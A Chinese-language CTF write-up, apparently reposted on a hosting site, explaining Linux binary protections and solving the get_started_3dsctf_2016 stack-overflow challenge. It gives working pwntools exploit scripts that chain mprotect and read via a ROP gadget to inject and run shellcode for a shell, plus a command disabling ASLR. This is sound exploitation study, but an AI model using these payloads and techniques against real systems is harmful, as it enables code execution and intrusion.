- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- 如何利用mprotec函數修改內存的權限寫(xiě)入shellcode
這篇文章主要講解了“如何利用mprotec函數修改內存的權限寫(xiě)入shellcode”,文中的講解內容簡(jiǎn)單清晰,易于學(xué)習與理解,下面請大家跟著(zhù)小編的思路慢慢深入,一起來(lái)研究和學(xué)習“如何利用mprotec函數修改內存的權限寫(xiě)入shellcode”吧!
修改使用mprotec函數修改內存的權限為可讀可寫(xiě)可執行,然后在該內存中寫(xiě)入自己的shellcode,執行該代碼即可. mprotect函數: int mprotect(void *addr, size_t len, int prot); addr 內存啟始地址 len 修改內存的長(cháng)度 prot 內存的權限
這里用buuctf題目get_started_3dsctf_2016
一個(gè)很簡(jiǎn)單的棧溢出
開(kāi)啟了NX
順便介紹一下各種保護
ASLR 的是操作系統的功能選項,作用于 executable(ELF)裝入內存運行時(shí),因而只能隨機化 stack、heap、libraries 的基址。開(kāi)啟后每次加載程序的 stack、libarys、heap 等地址都會(huì )隨機化
未開(kāi)啟:無(wú)作用
半開(kāi)啟:隨機化 stack 和 libarys
全開(kāi)啟:隨機化 stack、libarys 和 heap
No-Execute(不可執行),Nx 的原理是將數據所在內存頁(yè)標識為不可執行,當程序執行流被劫持到棧上時(shí),程序會(huì )嘗試在數據頁(yè)面上執行指令,因為數據頁(yè)被標記為不可知性,此時(shí)CPU就會(huì )拋出異常,而不是去執行棧上數據。
在Windows下,類(lèi)似的概念為DEP(數據執行保護),在最新版的Visual Studio中默認開(kāi)啟了DEP編譯選項。
NX disabled:??梢詧绦?,棧上的數據也可以被當作代碼執行。
NX enabled:棧不可執行,棧上的數據程序只認為是數據,如果去執行的話(huà)會(huì )發(fā)生錯誤。即棧上的數據不可以被當作代碼執行。
PIE(Position Independent Executables)是編譯器(gcc,..)功能選項(-fPIE / -fpie),作用于編譯過(guò)程,可將其理解為特殊的 PIC(so專(zhuān)用,Position Independent Code),加了 PIE 選項編譯出來(lái)的 ELF 用 file 命令查看會(huì )顯示其為 so,其隨機化了 ELF 裝載內存的基址(代碼段、plt、got、data 等共同的基址)。其效果為用 objdump、IDA 反匯編之后的地址是用偏移表示的而不是絕對地址。
No PIE:無(wú)作用
PIE enabled:代碼段、plt、got、data 等共同的基址會(huì )隨機化。在編譯后的程序中,只保留指令、數據等的偏移,而不是絕對地址的形式。
一般情況下NX(Windows平臺上稱(chēng)其為DEP)和地址空間分布隨機化(ASLR)會(huì )同時(shí)工作。
內存地址隨機化機制(address space layout randomization),有以下三種情況
0 - 表示關(guān)閉進(jìn)程地址空間隨機化。 1 - 表示將mmap的基址,stack和vdso頁(yè)面隨機化。 2 - 表示在1的基礎上增加棧(heap)的隨機化。
可以防范基于Ret2libc方式的針對DEP的攻擊。ASLR和DEP配合使用,能有效阻止攻擊者在堆棧上運行惡意代碼。
Built as PIE:位置獨立的可執行區域(position-independent executables)。這樣使得在利用緩沖溢出和移動(dòng)操作系統中存在的其他內存崩潰缺陷時(shí)采用面向返回的編程(return-oriented programming)方法變得難得多。
liunx下關(guān)閉PIE的命令如下:
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
金絲雀保護,開(kāi)啟這個(gè)保護后,函數開(kāi)始執行的時(shí)候會(huì )先往棧里插入 cookie 信息,當函數真正返回的時(shí)候會(huì )驗證 cookie 信息是否合法,如果不合法就停止程序運行。真正的 cookie 信息也會(huì )保存在程序的某個(gè)位置。插入棧中的 cookie 一般在 ebp / rbp 之上的一個(gè)內存單元保存。
無(wú) Canary 保護:無(wú)任何作用
部分函數 Canary 保護:在一些容易受到攻擊的函數返回地址之前添加 cookie 。在函數返回時(shí),檢查該 cookie 與原本程序插入該位置的 cookie 是否一致,若一致則程序認為沒(méi)有受到棧溢出攻擊。
全部函數 Canary 保護:所有的自定義函數在返回地址之前都會(huì )添加 cookie 。在函數返回時(shí),檢查該 cookie 與原本程序插入該位置的 cookie 是否一致,若一致則程序認為沒(méi)有受到棧溢出攻擊。
設置符號重定位表格為只讀或在程序啟動(dòng)時(shí)就解析并綁定所有動(dòng)態(tài)符號,從而減少對 GOT 攻擊。
No RELRO:在這種模式下關(guān)于重定位并不進(jìn)行任何保護。
Partial RELRO:在這種模式下,一些段 (包括.dynamic) 在初始化后將會(huì )被標識為只讀。
Full RELRO:在這種模式下,除了會(huì )開(kāi)啟部分保護外。惰性解析會(huì )被禁用(所有的導入符號將在開(kāi)始時(shí)被解析,.got.plt 段會(huì )被完全初始化為目標函數的終地址,并被標記為只讀)。此外,既然惰性解析被禁用,GOT[1] 與 GOT[2] 條目將不會(huì )被初始化為提到的值。
有后門(mén)函數,但是遠程打不通
from pwn import * context.log_level = 'debug' elf = ELF('./get_started_3dsctf_2016') sh = elf.process() printf_addr = 0x0804F0E0 main = 0x08048A20 get_flag = 0x080489B8 payload_01 = 'A' * 56 + p32(get_flag) sh.sendline(payload_01) sh.interactive()
遠程打不通,但是發(fā)現了mprotec函數,所以可以選擇通過(guò)mprotec函數修改內存權限寫(xiě)入shellcode
下個(gè)斷點(diǎn),運行
查看一下內存
0x80ea000-0x80ec000為rw-p權限,可以寫(xiě)入,gdb命令擴展:
https://visualgdb.com/gdbreference/commands/x
本來(lái)是溢出到get_flag地址,現在棧溢出ret 到 mprotect函數地址
payload = 'A'*0x38 + p32(mprotect_addr)
call 指令, call = push + jmp
所以直接ret后要留一個(gè)返回地址,因為ret 就相當于 jmp 到 mprotect,為了完整的回來(lái),所以在mprotect地址后在壓入一個(gè)返回地址.
在32為系統中使用棧傳參,第一個(gè)參數先push,第二個(gè)再push....
payload += p32(ret_addr) + p32(argu1) + p32(argu2) +p32 (argu3)
ret_addr 為 mprotect函數執行完后的地址.
argu1 為mprotect函數的第一個(gè)參數 (被修改內存的地址) 設置為 0x0x80EB000 (vmmap得到)
argu2 為mprotect函數的第二個(gè)參數 (被修改內存的大小) 設置為 0x1000 (0x0x80EB000-0x80ec000)
argu3 為mprotect函數的第三個(gè)參數 (被修改內存的權限) 設置為 7 = 4 + 2 +1 (rwx)
為了后續再能使用ret,我們構造一下棧的布局,因為mprotect函數使用到了3個(gè)參數,就找存在3個(gè)連續pop的指令。在正常情況下,函數傳參是使用push,所以要為了堆棧還原,函數調用結束時(shí)就使用pop來(lái)保證堆棧完好,所以需要三個(gè)pop
使用ROPgadget尋找合適的地址
ROPgadget--binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop
0x0804f460即為上面的ret_addr的地址
而現在的payload就可以為:
payload = 'A'*0x38 + p32(mprotect_addr)+p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
定義執行完mprotect函數的返回地址即read的地址,我們也就可以再次利用ret來(lái)控制eip,將自己的shellcode寫(xiě)入內存再執行,使用read函數寫(xiě)入。
read函數: ssize_t read(int fd, void *buf, size_t count); fd 設為0時(shí)就可以從輸入端讀取內容 設為0 buf 設為我們想要執行的內存地址 設為我們已找到的內存地址0x80EB000 size 適當大小就可以 設為0x100就可以了
payload += p32(read_addr) + p32(ret_addr2) + p32(0x0) + p32(mem_addr) +p32 (0x100)
read函數跟mprotect一樣,call = push + jmp.
read_addr 后面跟執行完read函數后的返回地址。再次使用pop3_ret彈掉3個(gè)已用的參數,接著(zhù)還可以利用ret來(lái)控制eip跳轉到mem_addr即修改內存的地址執行自己的shellcode, payload如下:
payload = 'A' *0x38 + p32(mprotect_addr)+p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)+p32(read_addr) + p32(ret_addr2) + p32(0x0) + p32(mem_addr) +p32 (0x100)+p32(mem_addr)
在執行read函數時(shí)就可以輸入shellcode
# _*_ coding:utf-8 _*_ from pwn import * elf = ELF('./get_started_3dsctf_2016') sh = elf.process() sh = remote('node3.buuoj.cn', 28624) pop3_addr = 0x804951D mem_addr = 0x80EB000 #可讀可寫(xiě)的內存,但不可執行 mem_size = 0x1000 #通過(guò)調試出來(lái)的值 mem_proc = 0x7 #可代表可讀可寫(xiě)可執行 mprotect_addr = elf.symbols['mprotect'] read_addr = elf.symbols['read'] payload = 'A'*0x38 + p32(mprotect_addr)+p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)+p32(read_addr) + p32(pop3_addr) + p32(0x0) + p32(mem_addr) +p32 (0x100)+p32(mem_addr) sh.sendline(payload) payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux') sh.sendline(payload_sh) sh.interactive()
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。
Copyright ? 2009-2021 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 珠海市特網(wǎng)科技有限公司 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站